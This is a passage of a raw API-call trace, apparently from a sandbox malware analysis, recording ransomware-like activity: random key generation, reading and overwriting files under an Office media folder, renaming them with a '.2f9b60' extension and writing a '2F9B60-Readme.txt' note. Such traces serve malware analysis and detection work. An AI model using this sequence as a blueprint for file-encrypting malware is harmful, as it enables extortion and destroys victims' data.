RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0xd55194f [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x150c99e1 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x7b65856 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x28dba0b8 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x42c7d0e7 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x3feaa885 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x68c77c0f [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x48665002 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x5cb88c89 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x638ced9 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x23f2c4f5 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x72907f5f [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x1200f9fe [0152.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500e00 [0152.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420613b0 [0152.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500e30 [0152.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420613b0) returned 1 [0152.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500dd0) returned 1 [0152.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0152.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ba0 [0152.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420613b0 [0152.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0152.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0152.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425f2110 [0152.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425f5d20 [0152.301] ReadFile (in: hFile=0x25fc, lpBuffer=0x425f2110, nNumberOfBytesToRead=0x3d2, lpNumberOfBytesRead=0x2923fa90, lpOverlapped=0x0 | out: lpBuffer=0x425f2110*, lpNumberOfBytesRead=0x2923fa90*=0x3d2, lpOverlapped=0x0) returned 1 [0152.301] SetFilePointerEx (in: hFile=0x25fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.301] WriteFile (in: hFile=0x25fc, lpBuffer=0x425f5d20*, nNumberOfBytesToWrite=0x3d2, lpNumberOfBytesWritten=0x2923fa94, lpOverlapped=0x0 | out: lpBuffer=0x425f5d20*, lpNumberOfBytesWritten=0x2923fa94*=0x3d2, lpOverlapped=0x0) returned 1 [0163.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19d70 [0163.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19da0 [0163.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19da0) returned 1 [0163.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425f5d20) returned 1 [0163.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425f2110) returned 1 [0163.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420613b0) returned 1 [0163.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ba0) returned 1 [0163.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19da0 [0163.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ba0 [0163.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420613b0 [0163.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19dd0 [0163.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19dd0) returned 1 [0163.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19dd0 [0163.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e00 [0163.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e30 [0163.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e30) returned 1 [0163.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420613b0) returned 1 [0163.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ba0) returned 1 [0163.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c243f0 [0163.099] SetFilePointerEx (in: hFile=0x25fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0163.099] WriteFile (in: hFile=0x25fc, lpBuffer=0x42c243f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2923fbb0, lpOverlapped=0x0 | out: lpBuffer=0x42c243f0*, lpNumberOfBytesWritten=0x2923fbb0*=0x10a, lpOverlapped=0x0) returned 1 [0164.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0164.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b30 [0164.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b30) returned 1 [0164.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d180 [0164.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b30 [0164.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b00 [0164.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b00) returned 1 [0164.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0164.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ff70 [0164.967] sprintf (in: _Dest=0x1cd9ff70, _Format="%c%c" | out: _Dest="7b") returned 2 [0164.967] sprintf (in: _Dest=0x1cd9ff72, _Format="%c%c" | out: _Dest="07") returned 2 [0164.967] sprintf (in: _Dest=0x1cd9ff74, _Format="%c%c" | out: _Dest="2c") returned 2 [0164.967] sprintf (in: _Dest=0x1cd9ff76, _Format="%c%c" | out: _Dest="60") returned 2 [0164.967] sprintf (in: _Dest=0x1cd9ff78, _Format="%c%c" | out: _Dest="49") returned 2 [0164.967] sprintf (in: _Dest=0x1cd9ff7a, _Format="%c%c" | out: _Dest="ca") returned 2 [0164.967] sprintf (in: _Dest=0x1cd9ff7c, _Format="%c%c" | out: _Dest="b8") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff7e, _Format="%c%c" | out: _Dest="25") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff80, _Format="%c%c" | out: _Dest="02") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff82, _Format="%c%c" | out: _Dest="2d") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff84, _Format="%c%c" | out: _Dest="e8") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff86, _Format="%c%c" | out: _Dest="07") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff88, _Format="%c%c" | out: _Dest="53") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff8a, _Format="%c%c" | out: _Dest="5c") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff8c, _Format="%c%c" | out: _Dest="11") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff8e, _Format="%c%c" | out: _Dest="e9") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff90, _Format="%c%c" | out: _Dest="15") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff92, _Format="%c%c" | out: _Dest="1e") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff94, _Format="%c%c" | out: _Dest="5a") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff96, _Format="%c%c" | out: _Dest="f9") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff98, _Format="%c%c" | out: _Dest="c9") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff9a, _Format="%c%c" | out: _Dest="50") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff9c, _Format="%c%c" | out: _Dest="de") returned 2 [0164.968] sprintf (in: _Dest=0x1cd9ff9e, _Format="%c%c" | out: _Dest="a3") returned 2 [0164.968] RtlInitAnsiString (in: DestinationString=0x2923fc28, SourceString="7b072c6049cab825022de807535c11e9151e5af9c950dea3" | out: DestinationString="7b072c6049cab825022de807535c11e9151e5af9c950dea3") [0164.968] RtlAnsiStringToUnicodeString (in: DestinationString=0x2923fbf8, SourceString="7b072c6049cab825022de807535c11e9151e5af9c950dea3", AllocateDestinationString=1 | out: DestinationString="7b072c6049cab825022de807535c11e9151e5af9c950dea3") returned 0x0 [0164.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14f80 [0164.969] RtlFreeAnsiString (AnsiString="7") [0164.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ff70) returned 1 [0164.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b30) returned 1 [0164.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c243f0) returned 1 [0164.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19dd0) returned 1 [0164.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e00) returned 1 [0164.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19da0) returned 1 [0164.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19d70) returned 1 [0164.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500da0) returned 1 [0164.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500e00) returned 1 [0164.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500e30) returned 1 [0164.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x42c30b30 [0164.972] wcscat (in: _Dest=0x42c30b30, _Source="7b072c6049ca" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\7b072c6049ca") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\7b072c6049ca" [0164.972] wcscat (in: _Dest=0x42c30b30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\7b072c6049ca.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\7b072c6049ca.2f9b60" [0164.972] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\7b072c6049ca.2f9b60", NtPathName=0x2923fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\7b072c6049ca.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c36810 [0165.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36810) returned 1 [0165.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c34c50) returned 1 [0165.043] NtQueryInformationFile (in: FileHandle=0x25fc, IoStatusBlock=0x2923fc38, FileInformation=0x2923fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2923fc38, FileInformation=0x2923fc48) returned 0x0 [0165.043] NtSetInformationFile (FileHandle=0x25fc, IoStatusBlock=0x2923fc38, FileInformation=0x2923fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30b30) returned 1 [0165.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce14f80) returned 1 [0165.079] FlushFileBuffers (hFile=0x25fc) returned 1 [0166.265] CloseHandle (hObject=0x25fc) returned 1 [0183.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x43188720 [0191.535] wcscpy (in: _Dest=0x43188720, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0191.535] wcscat (in: _Dest=0x43188720, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2F9B60-Readme.txt" [0191.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\2f9b60-readme.txt")) returned 0xffffffff [0191.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b48 [0209.356] WriteFile (in: hFile=0x2b48, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2923faf0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2923faf0*=0xba9, lpOverlapped=0x0) returned 1 [0216.701] CloseHandle (hObject=0x2b48) returned 1 [0222.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43188720) returned 1 [0222.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae140) returned 1 [0222.417] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x97e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10256_.GIF", cAlternateFileName="")) returned 1 [0222.417] wcscmp (_String1="BD10256_.GIF", _String2=".") returned 1 [0222.417] wcscmp (_String1="BD10256_.GIF", _String2="..") returned 1 [0222.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202ae140 [0222.418] wcscpy (in: _Dest=0x202ae140, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0222.418] wcscat (in: _Dest=0x202ae140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0222.418] wcscat (in: _Dest=0x202ae140, _Source="BD10256_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF" [0222.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1654 [0222.500] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10289_.GIF", cAlternateFileName="")) returned 1 [0222.500] wcscmp (_String1="BD10289_.GIF", _String2=".") returned 1 [0222.500] wcscmp (_String1="BD10289_.GIF", _String2="..") returned 1 [0222.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x431a1bf0 [0222.501] wcscpy (in: _Dest=0x431a1bf0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0222.501] wcscat (in: _Dest=0x431a1bf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0222.501] wcscat (in: _Dest=0x431a1bf0, _Source="BD10289_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF" [0222.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431a1bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b08 [0222.595] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10290_.GIF", cAlternateFileName="")) returned 1 [0222.595] wcscmp (_String1="BD10290_.GIF", _String2=".") returned 1 [0222.595] wcscmp (_String1="BD10290_.GIF", _String2="..") returned 1 [0222.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4140 [0222.596] wcscpy (in: _Dest=0x202a4140, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0222.596] wcscat (in: _Dest=0x202a4140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0222.596] wcscat (in: _Dest=0x202a4140, _Source="BD10290_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF" [0222.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10290_.gif")) returned 0x20 [0222.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF", dwFileAttributes=0x20) returned 1 [0222.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10290_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1910 [0222.788] GetFileSizeEx (in: hFile=0x1910, lpFileSize=0x2923fbe0 | out: lpFileSize=0x2923fbe0*=308) returned 1 [0222.789] SetFilePointerEx (in: hFile=0x1910, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.789] ReadFile (in: hFile=0x1910, lpBuffer=0x2923fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2923fba8, lpOverlapped=0x0 | out: lpBuffer=0x2923fb60*, lpNumberOfBytesRead=0x2923fba8*=0x4, lpOverlapped=0x0) returned 1 [0222.790] SetFilePointerEx (in: hFile=0x1910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8490 [0222.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8790 [0222.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8760 [0222.791] NtQuerySystemTime (in: CurrentTime=0x2923faa0 | out: CurrentTime=0x2923faa0*=132462178267846000) returned 0x0 [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x4180b005 [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x68cfa086 [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x5a0bbe4 [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x7130e1a1 [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x52c360e9 [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x396ef338 [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x511282ba [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x74c2c75b [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x30be61c4 [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x57aa63fb [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x30bc264e [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x3ea662fc [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x129d1ff5 [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x18070d8f [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x7b40291 [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x2a2596e2 [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x48948e62 [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x33764290 [0222.791] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x1578b253 [0222.792] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x12c54e41 [0222.792] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x37e0eaae [0222.792] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x42021f61 [0222.792] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x4d7cf572 [0222.792] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x892a568 [0222.792] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x3957815 [0222.792] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x30f3c087 [0222.792] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0xedc763f [0222.792] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x41b70e6f [0222.792] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x7ae22c0f [0222.792] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0xabdde0b [0222.792] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x7f69f95d [0222.792] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x429b6a80 [0222.793] ReadFile (in: hFile=0x1910, lpBuffer=0x423ee500, nNumberOfBytesToRead=0x134, lpNumberOfBytesRead=0x2923fa90, lpOverlapped=0x0 | out: lpBuffer=0x423ee500*, lpNumberOfBytesRead=0x2923fa90*=0x134, lpOverlapped=0x0) returned 1 [0222.793] SetFilePointerEx (in: hFile=0x1910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.793] WriteFile (in: hFile=0x1910, lpBuffer=0x424179b0*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2923fa94, lpOverlapped=0x0 | out: lpBuffer=0x424179b0*, lpNumberOfBytesWritten=0x2923fa94*=0x134, lpOverlapped=0x0) returned 1 [0223.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202663c0 [0223.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202663f0 [0223.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202663f0) returned 1 [0223.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424179b0) returned 1 [0223.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ee500) returned 1 [0223.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8679c0) returned 1 [0223.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62460) returned 1 [0223.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202663f0 [0223.302] SetFilePointerEx (in: hFile=0x1910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0223.303] WriteFile (in: hFile=0x1910, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2923fbb0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x2923fbb0*=0x10a, lpOverlapped=0x0) returned 1 [0223.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a10 [0223.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0223.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef50 [0223.626] 